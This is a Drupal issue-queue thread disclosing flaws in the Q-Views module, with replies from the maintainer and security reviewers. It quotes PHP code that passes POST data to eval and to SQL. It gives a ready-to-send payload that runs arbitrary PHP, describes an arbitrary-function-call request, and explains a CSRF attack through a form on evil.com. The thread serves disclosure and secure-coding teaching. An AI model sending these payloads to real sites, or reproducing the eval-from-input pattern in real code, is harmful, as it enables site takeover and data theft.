Hello. I recently skimmed the source code of the qviews module after a post about it went over the planet. I advise everyone not to use or try the module in its current state, as it has several highly critical security flaws.

  • a) The qviews module allows arbitrary PHP execution and SQL injection for all users with the "administer views" permission. This means that anyone with that permission can easily completely takeover your site!
  • b) The qviews module allows any user with the "access content" permission to call an arbitrary function.
  • c) I haven't yet checked very thoroughly, but I'm pretty sure it's possible for all users with the "access content" permission to inject arbitrary SQL.

    • Example for a): The following code can be run by all users with the "administer qviews" permission:

  if (isset($_POST['sql'])) {
    $sql = $_POST['sql'];
    $count_sql = $_POST['count_sql'];
  }
  if (isset($_POST['args'])) {
    $args = $_POST['args'];
    $args_not_processed = $args;
  }

  qviews_sql_eval($sql, $args, $count_sql);
  $args = qviews_clean_args($args);
  $result = db_query_range($sql, $args, 0, 1);

and, in qviews_sql_eval():

  if (function_exists($sql)) {
     [...]
  } else {
    $sql = drupal_eval($sql);

So, as you can see, the $sql value is coming directly and unescaped from $_POST. The user entered $sql string then is both executed as PHP codeand run as an SQL query.

Example of abuse:

Perform a request on site.com/qviews/process while passing the following POST parameters as a user with the "administer qviews" permission:
  action=builder_sql_check
  sql=<?php exit(db_result(db_query('select name from users where uid =
1')));

(or simply with a content type of application/x-www-form-urlencoded and a query string of

action=builder_sql_check&sql=%3C%3Fphp%20exit%28db_result%28db_query%28%22select%20name%20from%20users%20where%20uid%20%3D%201%22%29%29%29%3B%20

This will print the first user's name and then exit. Any PHP string in the "sql" POST parameter will be eval'd as-is.

b) By performing a POST request on qviews/proces with POST values
    action=ajax_col_change
    callback=foo
   the function foo() would be executed (without parameters). This works for all users with the "access content" permission. I'm sure there are harmful functions that take no arguments on many sites.

c) I haven't had the time to actually check, but there are numerous places where values from POST are directly used in SQL queries. E.g. have a look at the function qviews_feed_data(), which is run for users with the access
content permission. It seems to be possible to inject SQL by setting the right POST parameters, as values from POST are used unescaped in several places.

Comments

chrisshattuck’s picture

chrisshattuck commented

Thank you Frando,

These are some important finds. I'm working on this fixes for some of these items, but let me address them briefly:

a) I think you mean the "administer qviews" permission, and it's true that users with this permission can execute arbitrary PHP, and thus execute SQL queries. This is actually by design, but perhaps it should be more clear in the documentation that this is the case. Giving users "administer qviews" permission is akin to allowing users to use the PHP input filter. Use with caution, and it should only be available to admins.

b) The arbitrary function call - Yup, in looking over my code I see that this is quite possible. Some of my code actually made me chuckle, as it's a bit outdated (did I mention this module deserves a re-write?). I have fixed this locally, and will be committing as soon as I get c) fixed as well. The fix will work fine, but there's a bit of an architecture issue that I need to address there to nail it down more. The current fix adds a special prefix to the function names, so any functions called through this method will be prepared to handle any access control checks. Eventually, the function name should not be passed at all, but should be pulled straight from the Q-Views definition.

c) The example you're showing is actually from the Q-View configuration page, which is only accessible to users with "administer qviews" permission. So, that isn't a security flaw, but rather by design. You did mention in the description near the bottom of your post that a lot of $_POST variables were being used directly in queries. I wasn't able to find this, at least in qviews_feed_data(). There is something I noticed more closely tied to b) where $_POST variables are being used without being cross-referenced the the Q-Views definition. However, they're all using the proper syntax to avoid SQL injection (i.e. placeholders in db_query()). If you see any exceptions there, please let me know.

Thanks for taking the time to evaluate this, and I'll post when these issues have been fixed and a new release made.

Cheers!
Chris

christefano’s picture

christefano commented

Wow. Security issues like this really, really don't belong in the issue queue. Frando, have you reported this to the security team? The instructions for how to do this are linked to from the top of every "create issue" page.

I'm not on the team myself but I've unpublished this post so that only you and site maintainers with appropriate permissions can see it.

jbrauer’s picture

jbrauer commented

This was reported by Frando to the security team. As there are no stable releases of the module Frando was advised this is an issue to be worked in the issue queue.

chrisshattuck’s picture

chrisshattuck commented

Sorry, I didn't realize Christefano's post went up on this issue. Below was my response:

The security team actually contacted me this weekend about Frando's issues and they suggested he post an issue in the issue queue because there wasn't a full release yet. I have mixed feeling about the issues being so exposed, but trust the security team felt like it was the best thing to do.

I am well on the way to getting the pertinent issues fixed, so hopefully it won't be too long before this is mute.

In the future, I think it would be good to get these kinds of notifications via a personal contact form before an issue is posted. If it's a security hole, it would be better to have a head start in fixing it, just in case people are actually using it in production environments.

christefano’s picture

christefano commented

Thanks for the update, folks. Seeing this issue here tripped the alarm for me and I'm glad you're all on it already. Sorry, Frando!

heine’s picture

heine commented

From IRC:

<Heine> chrisshattuck, do you have time to talk about CSRF?
<chrisshattuck> Heine: Hey there
<chrisshattuck> Heine: Sure
<Heine> http://drupal.org/node/545050 is very interesting as a learning moment
<Druplicon> http://drupal.org/node/545050 => Highly critical security flaws => Query-Based Views (Q-Views), Code, critical, active, 1 IRC mention
<chrisshattuck> Heine: Heh, you mean for me?
<Heine> yes, and everyone else, as this is one of the few public security issues
<Heine> qviews_sql_eval($sql, $args, $count_sql); is called in qviews_form_feed
<Heine> you assert that this is not a security issue because access is checked, and limited to users with the qviews administer permission
<chrisshattuck> Heine: Am I wrong on that count?
<Heine> unfortunately, an attacker could cause a privileged user to execute the function on his behalf.
<Heine> a publicly known CSRF issue in Drupal core is provides a great & simple CSRF example
<Heine> Suppose you log into your Drupal site and start approving comments
<Heine> after a while you view my comment that is just <img src="/logout" />
<Heine> what do you think will happen?
<chrisshattuck> Heine: Stepping back a sec, is the 'administer qviews' permission any different than the 'execute php code' permission? Both give the ability to execute arbitrary php code as a particular user.
<Heine> my story works to a scenario where the permission is irrelevant
<Heine> or at least, mostly irrelevant
<chrisshattuck> Heine: Gotcha. Okay, I've come across the /logout example before, but forget the end result. I assume it logs one out?
<Heine> yes. It works because when your browser GETs the page, it sends along your session cookie.
<Heine> so you have the permission to logout, but you did not have the intend to do so. That's the basis of CSRF.
<chrisshattuck> Heine: Okay, so the idea here is that someone slips in a comment with some SQL nastiness, and because I view it, it gets executed.
<Heine> no
<Heine> say we make it a bit more complicated
<Heine> suppose we have a form that deletes a node
<Heine> the callback checks for permission, so you think you are safe.
<Heine> now, evil me copies the form to another site,  evil.com/page and point the form action url to your node deletion URL.
<Heine> if I can get you to visit evil.com/page and submit the form, your browser will POST the values to your site and send along your session cookie.
<Heine> all your code sees is a request by an authorized user, so it deletes the requested node. Of course, the values are controlled by the evil.com site.
<chrisshattuck> Heine: So I assume this is where tolkens come into play, right?
<Heine> right
<Heine> FAPI automatically checks tokens. But only in the validation stage.
<Heine> any action taken before validation (eg in the formbuilder) is vulnerable to CSRF.
<chrisshattuck> Heine: Is the token the only thing that prevents the CSRF?
<Heine> as the action "qviews_sql_eval($sql, $args, $count_sql);" happens in the formbuilder, and there's no custom CSRF protection, it is possible for a malicious user to entice a privileged user to execute chosen code.
<Heine> in Drupal, yes.
<chrisshattuck> Heine: Ah, that makes sense
<chrisshattuck> Heine: Okay, anything else I should know along those lines?
<Heine> yes. I noticed there's not a single check_plain call in the module
<Heine> perhaps it is not necessary, but see the "Handle text in a secure fashion" page in http://drupal.org/writing-secure-code
pvasili’s picture

pvasili commented

Is there any progress in solving this problem?

redben’s picture

redben commented

A suggestion :
What about making qviews a builder module that is only used by devs for speed, when done the developer could export the qview to code in a standalone module (like features) and deploy the resulting module to production, where there would be no need for evaluating sql ...etc, the resulting module should not depend on qviews

andypost’s picture

andypost
he/him
Primary language Russian
commented

subscribe

Ciprian Oancia’s picture

Ciprian Oancia commented

subscribe